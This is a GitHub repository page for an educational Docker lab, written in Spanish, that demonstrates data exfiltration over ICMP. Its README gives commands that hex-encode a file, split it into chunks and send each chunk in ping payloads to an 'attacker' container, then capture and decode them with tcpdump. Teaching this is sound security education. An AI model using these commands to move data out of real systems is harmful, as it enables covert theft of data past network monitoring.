Skip to content

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 

Repository files navigation

ICMP Exfiltration Lab

Exfiltra datos usando pings. Lab educativo con Docker.

Requisitos

  • Docker
  • Linux / WSL2

Setup

git clone https://github.com/ediklab/icmp-exfiltration-lab
cd icmp-exfiltration-lab
chmod +x *.sh
./setup_lab.sh

Arquitectura

[Atacante 172.30.0.10] <--ICMP--> [Victima 172.30.0.20]

Comandos

Convertir texto a hex

echo -n "SECRET" | xxd -p
# Output: 534543524554

Enviar datos en un ping

ping -c 1 -p 534543524554 172.30.0.10

Si el mensaje es largo (>16 bytes)

# Fragmentar en chunks de 16 bytes
xxd -p -c16 archivo.txt

# Enviar cada chunk por separado
ping -c 1 -p [chunk1] 172.30.0.10
ping -c 1 -p [chunk2] 172.30.0.10

Capturar en el atacante

tcpdump -i eth0 icmp -XX

Decodificar hex a texto

echo "534543524554" | xxd -r -p
# Output: SECRET

Limpiar

./cleanup.sh

Video

Tutorial completo en YouTube: @3diklab


Instagram: @3diklab | TikTok: @3diklab

About

Exfiltra datos usando pings. Lab educativo con Docker.

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages